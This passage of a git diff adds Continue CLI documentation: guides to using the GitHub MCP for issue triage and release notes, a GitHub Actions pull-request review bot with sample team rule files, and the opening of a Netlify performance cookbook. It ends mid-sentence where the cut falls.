"Cleaning up temporary files..." +rm -f context.txt + +# Commit and push documentation changes +echo "Reviewing git status..." +git status + +# Only adding files that have been added and modified in the site directory +echo "Adding files edited in site directory to git..." +git add site/ + +if git diff --cached --quiet; then + echo "No documentation changes to commit" +else + echo "Committing changes..." + git commit -s -m "docs: update for new functionality from branch $BRANCH_NAME" + + echo "Pushing changes to origin..." + git push --set-upstream origin "$DOCS_BRANCH_NAME" + + echo "Documentation branch created and pushed: $DOCS_BRANCH_NAME" +fi +``` + + + + +## Enhancement Ideas + +The workflow above is a basic example and can be enhanced in various ways to fit your needs. Here are some ideas: + + + + Define a specialized agent for analyzing changes and generating targeted prompts for documentation writers, improving output quality. + + + + Create GitHub workflows that automatically generate documentation PRs when new features are merged to main. + + + + Build an agent that reviews older merged PRs to identify undocumented features and generates missing documentation. + + + + Add a post-processing agent to enhance writing quality with rules like "use short sentences and simple words." + + + +## Next Steps + +Ready to implement automated documentation with Continue CLI? Here are some helpful resources to get you started: + + + + Learn the fundamentals of using Continue CLI for automated coding tasks and headless workflows. + + + + Discover how to configure and customize AI configs for your specific documentation needs. + + + + Checkout this video from Tetrate about using Continue Agents to help with writing your docs. + + + + Browse pre-built agents and configurations from the Continue community. + + diff --git a/docs/guides/github-mcp-continue-cookbook.mdx b/docs/guides/github-mcp-continue-cookbook.mdx new file mode 100644 index 000000000..4af46d931 --- /dev/null +++ b/docs/guides/github-mcp-continue-cookbook.mdx @@ -0,0 +1,343 @@ +--- +title: "GitHub Issues and PRs with GitHub MCP and Continue" +description: "Use Continue and the GitHub MCP to list, summarize, and act on open issues and recently merged pull requests with natural language prompts." +sidebarTitle: "GitHub Issues with Continue" +--- + + + A GitHub workflow assistant that uses Continue with the GitHub MCP to: + - List, filter, and summarize open issues + - Review and summarize recently merged PRs + - Post comments with AI-generated summaries or checklists + - Automate routine GitHub maintenance with headless CLI runs + + +## Prerequisites + +Before starting, ensure you have: + +- Continue account with **Hub access** + - Read: [Understanding Configs — How to get started with Hub configs](/guides/understanding-configs#how-to-get-started-with-hub-configs) +- Node.js 22+ installed locally +- A GitHub account and a repository to work with +- A GitHub token with the appropriate scopes: + - For read-only: `repo:read` + - To comment on issues/PRs: `public_repo` for public repos or `repo` for private repos + +For all options, first: + + + ```bash + npm i -g @continuedev/cli + ``` + + + + Add your `GITHUB_TOKEN` to your [Continue Hub agent's environment variables](https://hub.continue.dev/settings). + + + + + To use agents in headless mode, you need a [Continue API key](https://hub.continue.dev/settings/api-keys). + For write actions (e.g., posting comments), your token must include the relevant GitHub scopes. + + +## GitHub MCP Workflow Options + + + Use the GitHub MCP from Continue Hub for one-click setup, or add it via CLI. + + +After ensuring you meet the **Prerequisites** above, you have two paths to get started: + + + + + + Visit the [GitHub Project Manager Agent](https://hub.continue.dev/continuedev/github-project-manager-agent) on Continue Hub and click **Install** to add it to your agent. + + The listing provides a pre-configured MCP block; add your `GITHUB_TOKEN` in Hub. + + + + From your repo root: + ```bash + cn --agent continuedev/github-project-manager-agent + ``` + Now try: "List my open issues labeled bug and summarize priorities." + + + + + You can also attach an MCP to a one-off session: `cn --mcp anthropic/github-mcp`. + + + + + + + Go to the [Continue Hub](https://hub.continue.dev) and [create a new agent](https://hub.continue.dev/new?type=agent). + + + + Install from Hub (recommended) or add YAML manually. Minimal YAML example: + + ```yaml title="config.yaml" + mcpServers: + - name: GitHub MCP + command: npx + args: + - "-y" + - "@modelcontextprotocol/server-github" + env: + GITHUB_TOKEN: ${env:GITHUB_TOKEN} + connectionTimeout: 30 + ``` + + Notes: + - The exact `command`/`args` may differ based on the MCP you choose on Hub. Hub templates prefill these for you. + - Provide `GITHUB_TOKEN` via environment or Hub secrets. + + + + Launch Continue and ask: + ``` + List the 5 most recently updated open issues in this repository. + ``` + + + + + + + To use GitHub MCP with Continue CLI, you need either: + - **Continue CLI Pro Plan** with the models add-on, OR + - **Your own API keys** added to Continue Hub secrets + + The agent will automatically detect and use your configuration along with the GitHub MCP for issue and PR operations. + + + +--- + +## Issue Workflows + +Use natural language to explore, triage, and act on open issues. The agent calls GitHub MCP tools under the hood. + + + **Where to run these workflows:** + - **IDE Extensions**: Use Continue in VS Code, JetBrains, or other supported IDEs + - **Terminal (TUI mode)**: Run `cn` to enter interactive mode, then type your prompts + - **CLI (headless mode)**: Use `cn -p "your prompt" --auto` for automation + + To run any of the example prompts below in headless mode, use `cn -p "prompt"` + + +### Triage and Summaries + + + Get a prioritized overview of current open issues. + +**Prompt:** +``` +List the 20 most recently updated open issues in this repo. +Cluster by label and severity. Summarize top priorities. +``` + + + + Narrow by label or assignee. + +**Prompt:** +``` +Show open issues labeled bug or security, assigned to @me. +Summarize blockers and suggest next steps. +``` + + +### Taking Action + + + Post an AI-generated status update or checklist. + +**Prompt:** +``` +Find the issue with the most engagement (comments, reactions) in the last 30 days. +Come up with a triage plan and draft a comment with: +- current hypothesis +- next 2 steps +- owner and ETA +Then post the comment. +``` + + + Requires a token with permission to comment (`public_repo` or `repo`). The agent will confirm before posting unless `--auto` is used. + + + + + Identify issues that need attention. + +**Prompt:** +``` +Find open issues with no activity in the last 30 days. +Suggest action (close, needs-repro, or prioritize) and draft comments. +``` + + +--- + +## Merged PR Workflows + +Analyze recently merged PRs for change awareness, release notes, and quality signals. + +### Recently Merged Overview + + + Summarize merged PRs over a time window. + +**Prompt:** +``` +List PRs merged in the last 7 days. +Group by area (label or path). Summarize impact and notable changes. +``` + + +### Release Notes + + + Turn merged PRs into crisp release notes. + +**Prompt:** +``` +Generate release notes for PRs merged since tag v1.2.0. +Use keep-a-changelog sections and include PR numbers/authors. +``` + + +### Deep Dives + + + Get a human-readable summary of a recently merged PR with active discussion. + +**Prompt:** +``` +Find the last merged PR with a significant amount of comments. +Summarize the conversation, including goal, key changes, +risk areas, and any follow-ups. +``` + + +--- + +## Automate with GitHub Actions + +Run headless commands on a schedule or in PRs to keep teams informed. + +### Add GitHub Secrets + +Repository Settings → Secrets and variables → Actions: + +- `CONTINUE_API_KEY`: From [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys) +- `GITHUB_TOKEN`: A token with permissions to read issues/PRs and post comments + +### Example Workflow + +Create `.github/workflows/github-mcp-reports.yml`: + +```yaml +name: GitHub MCP Reports + +on: + schedule: + - cron: "0 13 * * 1" # Mondays 13:00 UTC + workflow_dispatch: + pull_request: + types: [opened, synchronize] + +jobs: + report: + runs-on: ubuntu-latest + env: + CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }} + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version: "18" + - name: Install Continue CLI + run: npm i -g @continuedev/cli + + - name: Weekly Issue Triage Summary + if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch' + run: | + cn --agent continuedev/github-project-manager-agent \ + -p "List open issues updated in the last 14 days. Group by label and priority. Propose top 5 actions and include issue links." \ + --auto > issue_summary.txt + + - name: Post PR Context Comment + if: github.event_name == 'pull_request' + env: + PR_NUMBER: ${{ github.event.pull_request.number }} + run: | + REPORT=$( cn --agent continuedev/github-project-manager-agent \ + -p "Summarize the context for PR #${PR_NUMBER}: related open issues, risk areas, and test suggestions. Keep under 200 words." \ + --auto) + gh pr comment ${PR_NUMBER} --body "$REPORT" +``` + + + Use `continuedev/github-project-manager-agent` consistently throughout your automation as the recommended agent configuration. + + +--- + +## Troubleshooting + +- **Missing or invalid token:** Ensure `GITHUB_TOKEN` is set and has the required scopes. Try a minimal test: “List 3 open issues in this repo”. +- **Permissions errors on comment:** Your token must include `public_repo` (public) or `repo` (private) to write comments. +- **Rate limiting:** Reduce frequency or filter queries; consider using a PAT distinct from the default Actions token when running in CI. +- **MCP connection timeout:** If using custom YAML, increase `connectionTimeout` or verify the `command`/`args` from the Hub listing. + +## What You've Built + +After completing this guide, you have a complete **AI-powered GitHub workflow system** that: + +- ✅ Uses natural language — Simple prompts for complex GitHub operations +- ✅ Automates issue triage — AI analyzes and summarizes open issues +- ✅ Generates release notes — Automatic PR digests and changelogs +- ✅ Runs continuously — Automated reports via GitHub Actions + + + Your GitHub workflow now operates at **[Level 2 Continuous + AI](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)** - + AI handles routine issue triage and PR summaries with human oversight + through review and approval. + + +## Next Steps + +1. **Explore your issues** - Try the issue triage prompts on your repository +2. **Generate release notes** - Use the merged PR prompts to create changelogs +3. **Set up automation** - Add the GitHub Actions workflow to your repo +4. **Customize prompts** - Tailor the prompts to your team's workflow +5. **Monitor progress** - Track issue resolution metrics over time + +## Additional Resources + + + + Anthropic GitHub MCP on Continue Hub + + + How MCP works with Continue agents + + + Pre-configured agent on Continue Hub + + + Official GitHub MCP server README + + + diff --git a/docs/guides/github-pr-review-bot.mdx b/docs/guides/github-pr-review-bot.mdx new file mode 100644 index 000000000..d95a7c120 --- /dev/null +++ b/docs/guides/github-pr-review-bot.mdx @@ -0,0 +1,510 @@ +--- +title: "Code Review Bot with Continue and GitHub Actions" +description: "Set up automated, context-aware pull request reviews using Continue CLI in GitHub Actions - privacy-first with custom rules" +sidebarTitle: "Pull Request Review Bot" +--- + + + An automated pull request review system that: + - Reviews code automatically when pull requests open or update + - Applies your team's custom rules and standards + - Runs in your GitHub Actions runner (code is sent directly to your configured LLM) + - Posts actionable feedback as pull request comments + - Responds to interactive review requests + + +## Why This Approach? + + + + All logs and processing happen in your runner: Continue CLI runs in GitHub Actions → code to your LLM provider (OpenAI, Anthropic, etc.). No hosted Continue service reads your code. + + + + + Define team-specific rules in `.continue/rules/` that automatically apply to every pull request. + + + + + Leverage Continue's AI agent for intelligent, context-aware reviews with full control over your configuration. + + + + +## Prerequisites + +Before starting, ensure you have: + +- A GitHub repository with pull requests +- Continue account with **Hub access** + - Read: [Understanding Configs](/guides/understanding-configs) +- A Continue API key from [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys) +- Continue assistant configured for code reviews (or use our recommended default) + + + **Want to customize the review bot?** + + You can remix the default review bot configuration at [hub.continue.dev/continuedev/review-bot](https://hub.continue.dev/continuedev/review-bot) to create your own personalized version with custom prompts, rules, and behaviors. + + +## Quick Setup (10 Minutes) + + + + + + Navigate to your repository settings: **Settings → Secrets and variables → Actions** + + **Required Secrets:** + - `CONTINUE_API_KEY` - Your Continue API key from [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys) + + **Optional (for better permissions):** + - **Variables** tab: `APP_ID` - GitHub App ID (for enhanced API rate limits) + - **Secrets** tab: `APP_PRIVATE_KEY` - GitHub App private key + + + + For better rate limits and permissions, create a GitHub App: + + 1. Go to Settings → Developer settings → GitHub Apps → New GitHub App + 2. Set permissions: + - **Contents**: Read + - **Pull Requests**: Write + - **Issues**: Write + 3. Generate a private key + 4. Install the app on your repository + 5. Add `APP_ID` as a repository **variable** (Variables tab) + 6. Add `APP_PRIVATE_KEY` as a repository **secret** (Secrets tab) + + Without a GitHub App, the action will use the default `GITHUB_TOKEN`. + + + + + + + Create a GitHub Actions workflow file at `.github/workflows/code-review.yml` with the provided configuration. + +```yaml +name: Continue Code Review + +on: + pull_request: + types: [opened, synchronize, ready_for_review] + issue_comment: + types: [created] + +permissions: + contents: read + pull-requests: write + issues: write + +jobs: + review: + runs-on: ubuntu-latest + # Only run on PRs or when @review-bot is mentioned + if: | + github.event_name == 'pull_request' || + (github.event_name == 'issue_comment' && contains(github.event.comment.body, '@review-bot')) + + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for better context + + # Optional: Use GitHub App token for better rate limits + - name: Generate App Token + id: app-token + if: vars.APP_ID != '' + uses: actions/create-github-app-token@v1 + with: + app-id: ${{ vars.APP_ID }} + private-key: ${{ secrets.APP_PRIVATE_KEY }} + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version: '20' + + - name: Install Continue CLI + run: npm i -g @continuedev/cli + + - name: Get Pull Request Details + id: pr + env: + GH_TOKEN: ${{ steps.app-token.outputs.token || github.token }} + run: | + # Get pull request number and details + if [ "${{ github.event_name }}" = "pull_request" ]; then + PR_NUMBER=${{ github.event.pull_request.number }} + else + PR_NUMBER=$(jq -r .issue.number "$GITHUB_EVENT_PATH") + fi + + echo "pr_number=$PR_NUMBER" >> $GITHUB_OUTPUT + + # Get pull request diff + gh pr diff $PR_NUMBER > pr.diff + + # Get changed files + gh pr view $PR_NUMBER --json files -q '.files[].path' > changed_files.txt + + - name: Run Continue Review + env: + CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }} + GH_TOKEN: ${{ steps.app-token.outputs.token || github.token }} + run: | + # Check if custom rules exist + if [ -d ".continue/rules" ]; then + echo "📋 Found custom rules in .continue/rules/" + RULES_CONTEXT="Apply the custom rules found in .continue/rules/ directory." + else + echo "ℹ️ No custom rules found. Using general best practices." + RULES_CONTEXT="Review for general best practices, security issues, and code quality." + fi + + # Build review prompt + PROMPT="Review this pull request with the following context: + + ## Changed Files + $(cat changed_files.txt) + + ## Diff + \`\`\`diff + $(cat pr.diff) + \`\`\` + + ## Instructions + $RULES_CONTEXT + + Provide: + 1. A brief summary of changes + 2. Key findings (potential issues, security concerns, suggestions) + 3. Positive observations (good practices, improvements) + 4. Specific actionable recommendations + + Format as markdown suitable for a GitHub pull request comment." + + # Run Continue CLI in headless mode + cn --config continuedev/review-bot \ + -p "$PROMPT" \ + --auto > review_output.md + + - name: Post Review Comment + env: + GH_TOKEN: ${{ steps.app-token.outputs.token || github.token }} + run: | + # Add header + cat > review_comment.md <<'EOF' + ## 🤖 AI Code Review + + EOF + + # Add review content + cat review_output.md >> review_comment.md + + # Add footer + cat >> review_comment.md <<'EOF' + + --- + *Powered by [Continue](https://continue.dev) • Need a focused review? Comment `@review-bot check for [specific concern]`* + EOF + + # Check for existing review comment + EXISTING_COMMENT=$(gh pr view ${{ steps.pr.outputs.pr_number }} \ + --json comments -q '.comments[] | select(.body | contains("🤖 AI Code Review")) | .id' | head -1) + + if [ -n "$EXISTING_COMMENT" ]; then + echo "Updating existing comment..." + gh api --method PATCH \ + "repos/${{ github.repository }}/issues/comments/$EXISTING_COMMENT" \ + -f body="$(cat review_comment.md)" + else + echo "Creating new comment..." + gh pr comment ${{ steps.pr.outputs.pr_number }} \ + --body-file review_comment.md + fi +``` + + + + +Define your team's standards in `.continue/rules/`: + + + + + Create `.continue/rules/security.md`: + +```markdown +--- +globs: "**/*.{ts,tsx,js,jsx,py}" +description: "Security Review Standards" +alwaysApply: true +--- + +# Security Checklist + +- No hardcoded credentials, API keys, or secrets +- All user inputs are validated and sanitized +- SQL queries use parameterization (no string concatenation) +- Authentication and authorization checks are in place +- Sensitive data is properly encrypted +- Error messages don't leak sensitive information +``` + + + Create `.continue/rules/typescript.md`: + +```markdown + --- + globs: "**/*.{ts,tsx}" + description: "TypeScript Best Practices" + --- + + # TypeScript Standards + + - Use strict type checking (avoid `any` types) + - Prefer interfaces for object shapes + - Use proper error handling with typed errors + - Document complex types with JSDoc comments + - Export types for public APIs + - Use const assertions where appropriate +``` + + +Create `.continue/rules/testing.md`: + +```markdown +--- +globs: "**/*.{test,spec}.{ts,tsx,js,jsx}" +description: "Testing Requirements" +--- + +# Testing Guidelines + +- Write tests for new features and bug fixes +- Test both happy paths and error conditions +- Use descriptive test names that explain intent +- Keep tests focused and isolated (no shared state) +- Mock external dependencies +- Aim for meaningful assertions, not coverage metrics +``` + + +Create `.continue/rules/python.md`: + +```markdown +--- +globs: "**/*.py" +description: "Python Code Standards" +--- + +# Python Best Practices + +- Follow PEP 8 style guidelines +- Use type hints for function signatures +- Write docstrings for public functions/classes +- Use context managers for resource management +- Prefer list comprehensions for simple transformations +- Handle exceptions explicitly, avoid bare except +``` + + + + +## How It Works + +The workflow follows these steps: + +1. **Pull Request Created/Updated** - A pull request is opened or synchronized +2. **Workflow Triggered** - GitHub Actions workflow starts automatically +3. **Load Custom Rules** - Reads your team's rules from `.continue/rules/` +4. **Get Pull Request Diff** - Fetches the diff and list of changed files +5. **Continue CLI Analyzes Code** - AI agent reviews the code with your rules +6. **Post or Update Review Comment** - Creates or updates a single PR comment with feedback + +## Interactive Commands + +Comment on any pull request to trigger focused reviews: + +``` +@review-bot check for security issues +@review-bot review the TypeScript types +@review-bot explain the architecture changes +@review-bot focus on error handling +``` + +The workflow will respond with a targeted review based on your request. + +## Advanced Configuration + + + + By default, the workflow uses the `continuedev/review-bot` config optimized for code reviews. Replace `continuedev/review-bot` with your own config: + + ```yaml + - name: Run Continue Review + env: + CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }} + CONTINUE_ORG: your-org-name # Add your org + CONTINUE_CONFIG: username/config-name # Add your config + run: | + cn --config $CONTINUE_ORG/$CONTINUE_CONFIG \ + -p "$PROMPT" \ + --auto > review_output.md + ``` + + Store `CONTINUE_ORG` and `CONTINUE_CONFIG` as repository variables for easy updates. + + + + Only review specific file types in pull requests: + + ```yaml + on: + pull_request: + types: [opened, synchronize, ready_for_review] + paths: + - '**.ts' + - '**.tsx' + - '**.py' + - '**.go' + ``` + + + + + Skip large pull requests that would be expensive to review: + + ```yaml + - name: Check PR Size + id: size-check + env: + GH_TOKEN: ${{ steps.app-token.outputs.token || github.token }} + run: | + ADDITIONS=$(gh pr view ${{ steps.pr.outputs.pr_number }} --json additions -q .additions) + DELETIONS=$(gh pr view ${{ steps.pr.outputs.pr_number }} --json deletions -q .deletions) + TOTAL=$((ADDITIONS + DELETIONS)) + + if [ $TOTAL -gt 1000 ]; then + echo "skip=true" >> $GITHUB_OUTPUT + echo "⚠️ Pull request too large for automatic review ($TOTAL lines changed)" + else + echo "skip=false" >> $GITHUB_OUTPUT + fi + + - name: Run Continue Review + if: steps.size-check.outputs.skip != 'true' + # ... rest of review step + ``` + + + +## Troubleshooting + + +- The workflow installs the CLI automatically, but ensure Node.js 20+ is available +- Check the "Install Continue CLI" step logs for errors + + +- Verify your `CONTINUE_API_KEY` is valid +- Check that GitHub token has required permissions + + +- Verify your Continue config is accessible +- Check Continue CLI logs in the workflow run +- Try running locally: `cn -p "Test prompt" --auto` + + +- Ensure `pull-requests: write` permission is set +- Verify GitHub token has scope to comment on pull requests +- Check if the repository requires signed commits + + + + +## Example Output + +Here's what a typical review comment looks like: + +> ## 🤖 AI Code Review +> +> ### Summary +> This pull request introduces a new user authentication system with JWT tokens and password hashing. The implementation follows security best practices with a few minor suggestions. +> +> ### Key Findings +> +> **Security** ✅ +> - Password hashing properly implemented with bcrypt +> - JWT tokens include appropriate expiry +> - Input validation present for all endpoints +> +> **Code Quality** 💡 +> - Consider adding rate limiting to login endpoint +> - The `secretKey` should be loaded from environment variables, not hardcoded +> - Add unit tests for token expiration edge cases +> +> ### Positive Observations +> - Good separation of concerns with middleware pattern +> - Clear error messages for authentication failures +> - Proper async/await usage throughout +> +> ### Recommendations +> 1. Move `secretKey` to environment variables (see `.continue/rules/security.md`) +> 2. Add rate limiting middleware to prevent brute force attacks +> 3. Consider adding integration tests for the auth flow +> 4. Document the JWT payload structure +> +> --- +> *Powered by [Continue](https://continue.dev) • Need a focused review? Comment `@review-bot check for security`* + +## What You've Built + +After completing this setup, you have an **AI-powered code review system** that: + +- ✅ **Runs automatically** - Reviews every pull request without manual intervention +- ✅ **Privacy-first** - CLI runs in your GitHub Actions runner, code sent directly to your configured LLM +- ✅ **Customizable** - Team-specific rules apply automatically +- ✅ **Interactive** - Responds to focused review requests +- ✅ **Continuous** - Updates reviews as pull requests change + + + Your pull request workflow now operates at **[Level 2 Continuous + AI](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)** - + AI handles routine code review with human oversight through review and + approval. + + +## Next Steps + +1. **Test it out** - Create a test pull request and watch the review appear +2. **Refine rules** - Add more custom rules specific to your codebase +3. **Customize prompts** - Adjust the review prompt to match your team's style +4. **Add metrics** - Track review effectiveness over time +5. **Create team config** - Set up a shared Continue config for consistent reviews + +## Inspiration & Resources + + + + Original inspiration - Privacy-first AI code reviews + + + Learn more about Continue CLI capabilities + + + Browse shared configs and create your own + + + Deep dive into custom rules + + + +## Community Examples + +Share your pull request review bot configuration: +- Tweet your setup with `#ContinueDev` +- Share improvements as [GitHub discussions](https://github.com/continuedev/continue/discussions) +- Contribute example rules to the docs diff --git a/docs/guides/instinct.mdx b/docs/guides/instinct.mdx index 19f9bf7a1..ac933c33c 100644 --- a/docs/guides/instinct.mdx +++ b/docs/guides/instinct.mdx @@ -9,7 +9,7 @@ description: "Learn how to run Instinct, Continue's leading open Next Edit model [HuggingFace model card](https://huggingface.co/continuedev/instinct). -We recently released Instinct, a state-of-the-art open Next Edit model. Robustly fine-tuned from Qwen2.5-Coder-7B, Instinct intelligently predicts your next move to keep you in flow. To learn more about the model, check out [our blog post](https://blog.continue.dev). +We recently released Instinct, a state-of-the-art open Next Edit model. Robustly fine-tuned from Qwen2.5-Coder-7B, Instinct intelligently predicts your next move to keep you in flow. To learn more about the model, check out [our blog post](https://blog.continue.dev/instinct/). @@ -17,7 +17,7 @@ We recently released Instinct, a state-of-the-art open Next Edit model. Robustly ### 1. Install Ollama -If you haven't already installed Ollama, see our guide [here](./ollama-guide.mdx). +If you haven't already installed Ollama, see our guide [here](./ollama-guide). ### 2. Download Instinct diff --git a/docs/guides/netlify-mcp-continuous-deployment.mdx b/docs/guides/netlify-mcp-continuous-deployment.mdx new file mode 100644 index 000000000..6bc19d5a1 --- /dev/null +++ b/docs/guides/netlify-mcp-continuous-deployment.mdx @@ -0,0 +1,718 @@ +--- +title: "Netlify Performance Optimization Cookbook" +description: "Optimize web performance with A/B testing, automated monitoring, and data-driven improvements using Netlify MCP and Continue." +sidebarTitle: "Using Netlify MCP for Performance Optimization" +--- + + + Use AI to automatically monitor performance metrics, run A/B tests between + branches, and get actionable optimization suggestions based on real user data + from Netlify Analytics + + + + **Did You Know?** Netlify is more than just static hosting! It offers: + - [Split Testing](https://docs.netlify.com/site-deploys/split-testing/) for A/B testing branches + - [Analytics](https://docs.netlify.com/analytics/get-started/) with Core Web Vitals tracking + - [Edge Functions](https://docs.netlify.com/edge-functions/overview/) for personalization at the edge + - [Build Plugins](https://docs.netlify.com/integrations/build-plugins/) ecosystem with 100+ integrations + - [Forms](https://docs.netlify.com/forms/setup/) with built-in spam protection + - [Identity](https://docs.netlify.com/visitor-access/identity/) for user authentication + - [Large Media](https://docs.netlify.com/large-media/overview/) for Git LFS support + +This guide shows you how to leverage these features through natural language with Continue CLI! + + + +## What You'll Learn + +This cookbook teaches you to: + +- Run [A/B tests](https://docs.netlify.com/site-deploys/split-testing/) between branches to measure performance impact +- Monitor [Core Web Vitals](https://docs.netlify.com/analytics/get-started/#core-web-vitals) and build performance metrics +- Automatically block deploys that degrade performance using [Deploy Contexts](https://docs.netlify.com/site-deploys/overview/#deploy-contexts) +- Optimize build times with [Build Plugins](https://docs.netlify.com/integrations/build-plugins/) and bundle sizes with AI assistance + +## Prerequisites + +- GitHub repository with a web project +- [Netlify account](https://netlify.com) (free tier works) +- Node.js 22+ installed (required for Netlify) +- [Continue CLI](https://docs.continue.dev/guides/cli) (`npm i -g @continuedev/cli`) +- [Netlify MCP](https://hub.continue.dev/netlify/netlify-mcp) configured +- [Netlify Development Rules](https://hub.continue.dev/netlify/netlify-development) (recommended) + +## Quick Setup + + + The Netlify Development Rules bundle includes guardrails for: + - Proper `.gitignore` configuration + - Function structure and placement + - Edge function constraints + - Local development best practices + + +For all options, first: + + + ```bash + npm i -g @continuedev/cli + ``` + + + + + 1. Install Netlify CLI: `npm i -g netlify-cli` + 2. Authenticate with Netlify: + `netlify login` + + + +## Netlify Continuous AI Workflow Options + + + Skip the manual setup and use our pre-built Netlify Continuous AI agent that includes + optimized prompts, rules, and the Netlify MCP for more consistent results. + + +After completing **Quick Setup** above, you have two paths to get started: + + + + + + + Visit the [Netlify Continuous AI Agent](https://hub.continue.dev/continuedev/netlify-continuous-ai-agent) on Continue Hub and click **"Install Agent"** or run: + + ```bash + cn --agent continuedev/netlify-continuous-ai-agent + ``` + + This agent includes: + - **Built-in rules** for consistent formatting and error handling + - **Netlify MCP** for more reliable API interactions + + + + The agent uses the Netlify MCP automatically and includes best practice rules for deployment and performance optimization. + + + + From your project directory, run: + ```bash + cn "Analyze my Netlify site's performance and optimize it for better Core Web Vitals." + ``` + + That's it! The agent handles everything automatically. + + + + + **Why Use the Agent?** Results are more consistent and debugging is easier thanks to the Netlify MCP integration and pre-tested prompts. You can remix the agent later to customize it to your needs. + + + + + + + + + 1. Authenticate with Netlify: + `netlify login` + 2. Visit [Netlify MCP on Continue + Hub](https://hub.continue.dev/netlify/netlify-mcp) + 3. Follow the configuration instructions for your editor + + + + + Install the [Netlify Development Rules](https://hub.continue.dev/netlify/netlify-development) bundle for best practices: + + 1. Visit the bundle page on Continue Hub + 2. Click **"Install Rules"** + 3. Rules automatically apply to your agent + + + + + Test the connection with cn CLI: + + ```bash + cn + # Then in TUI mode: + "Check my Netlify auth and list sites" + ``` + + + + + + + You're all set! Now you can use cn CLI to interact with Netlify using natural language prompts. Check out the examples below to get started. + + + + + + To use the pre-built agent, you need either: + - **Continue CLI Pro Plan** with + the models add-on, OR + - **Your own API keys** added to Continue Hub secrets + The agent will automatically detect and use your + configuration along with the Netlify MCP for deployment operations. + + + +--- + +## Performance Optimization Steps + +### Step 1: Baseline Performance Metrics + +Establish your current performance baseline using cn CLI: + +```bash +# Start cn in TUI mode +cn + +# Then ask: +"Show my site's Core Web Vitals and build times" +``` + + + **Test in Plan Mode First**: Before making performance optimizations that + might affect your site, test your prompts in plan mode (see the [Plan Mode + Guide](/guides/plan-mode-guide); press **Shift+Tab** to switch modes). This + shows you what the agent will do without executing it. For example: `"Set up + A/B testing between main and feature branch with performance monitoring"` + + + + + Netlify automatically tracks: + - **Build Performance**: Compile times, cache + hits + - **Runtime Performance**: Core Web Vitals, Time to Interactive + - **Resource Usage**: Bandwidth, function execution times + + + +### Step 2: A/B Test Branch Performance + +Compare performance between branches: + +```bash +# In cn TUI mode: +"Set up A/B test between main and feature branch on Netlify: +- Split traffic 50/50 between branches +- Track Core Web Vitals for each variant +- Monitor conversion metrics and bounce rate +- Enable analytics to measure performance impact +- Configure cookie-based visitor persistence +- Set test duration for 1000 unique visitors +- Auto-conclude test when statistical significance reached +Report winner based on performance + conversion metrics" +``` + + + **Enhanced Analytics**: Combine Netlify's A/B testing with PostHog session + recordings to understand not just which variant performs better, but why users + behave differently. See our [PostHog session analysis + guide](/guides/posthog-github-continuous-ai) to set up session tracking and + create a complete continuous AI analytics workflow. + + +### Step 3: Advanced Build Optimization with Netlify + +Leverage Netlify's powerful build features to dramatically reduce build times: + +```bash +# In cn TUI mode: +"Optimize my Netlify build performance using these features: + +1. Enable Netlify Cache Plugin for dependency caching + - Configure @netlify/plugin-cache for node_modules + - Set up custom cache directories for .next/cache or .nuxt + - Enable Gatsby's incremental builds if applicable + +2. Set up Build Plugins from Netlify's ecosystem: + - Install @netlify/plugin-lighthouse for performance monitoring + - Add netlify-plugin-checklinks to prevent broken links + - Configure netlify-plugin-submit-sitemap for SEO + +3. Implement Conditional Builds: + - Skip builds when only docs change (ignore: /docs/**) + - Use build.ignore script for custom logic + - Set up monorepo-specific build triggers + +4. Configure concurrent builds for monorepos + - Set base directory per package + - Use pnpm workspaces or yarn workspaces + +Show me the netlify.toml configuration and explain each optimization" +``` + + + **Netlify Build Features You're Getting**: + - [Build Caching](https://docs.netlify.com/configure-builds/build-caching/) - Persist dependencies between builds + - [Build Plugins](https://docs.netlify.com/integrations/build-plugins/) - Extend build process with 100+ plugins + - [Conditional Builds](https://docs.netlify.com/configure-builds/ignore-builds/) - Skip unnecessary builds + - [Monorepo Support](https://docs.netlify.com/configure-builds/monorepos/) - Optimize multi-package repos + +These features can reduce build times by 50-70% for most projects! + + + + + **Discover more optimization prompts!** The Netlify community has documented dozens of build optimization strategies in their [Support Guide: How can I optimize my Netlify build time](https://answers.netlify.com/t/support-guide-how-can-i-optimize-my-netlify-build-time/3907). + + Use this guide as inspiration for cn CLI prompts not covered in this cookbook, such as: + - `"Configure my builds to skip Dependabot PRs automatically"` + - `"Set up custom ignore patterns for documentation-only changes"` + - `"Optimize my Contentful webhooks to prevent duplicate builds"` + - `"Show me how to use build hooks instead of automatic git triggers"` + - `"Help me choose between Astro and Hugo based on build performance"` + + The community guide contains real-world scenarios that you can turn into AI-assisted solutions - just describe what you want to achieve and let cn CLI handle the implementation! + + +### Step 4: Bundle Analysis with Netlify's Built-in Tools + +Use Netlify's bundle analyzer and optimization features: + +```bash +# In cn TUI mode: +"Analyze and optimize my bundle using Netlify's tools: + +1. Enable Netlify Bundle Analyzer: + - Add @netlify/plugin-bundle-analyzer to plugins + - Configure size thresholds in netlify.toml + - Generate visual bundle reports + +2. Set up Asset Optimization: + - Enable automatic JS minification + - Configure CSS optimization + - Turn on HTML minification + - Set up image processing pipeline + +3. Implement Smart Code Splitting: + - Analyze current chunks with the bundle analyzer + - Identify components over 50KB for splitting + - Configure webpack/vite for optimal chunking + - Set up route-based code splitting + +4. Configure Netlify's CDN for optimal delivery: + - Set cache headers for static assets + - Enable Brotli compression + - Configure edge caching rules + +Generate a full report with before/after bundle sizes" +``` + + + + **Features Available Through Netlify MCP**: + - [Bundle + Analyzer](https://docs.netlify.com/configure-builds/build-plugins/bundle-analyzer/): Visualize your JavaScript bundles + - [Asset + Optimization](https://docs.netlify.com/configure-builds/post-processing/): + Automatic minification and compression + - [Edge + Network](https://docs.netlify.com/platform/edge-network/): Global CDN with + smart caching + - [Deploy + Previews](https://docs.netlify.com/site-deploys/deploy-previews/): Test + optimizations before production + + + +### Step 5: Image Optimization + +Optimize images for better 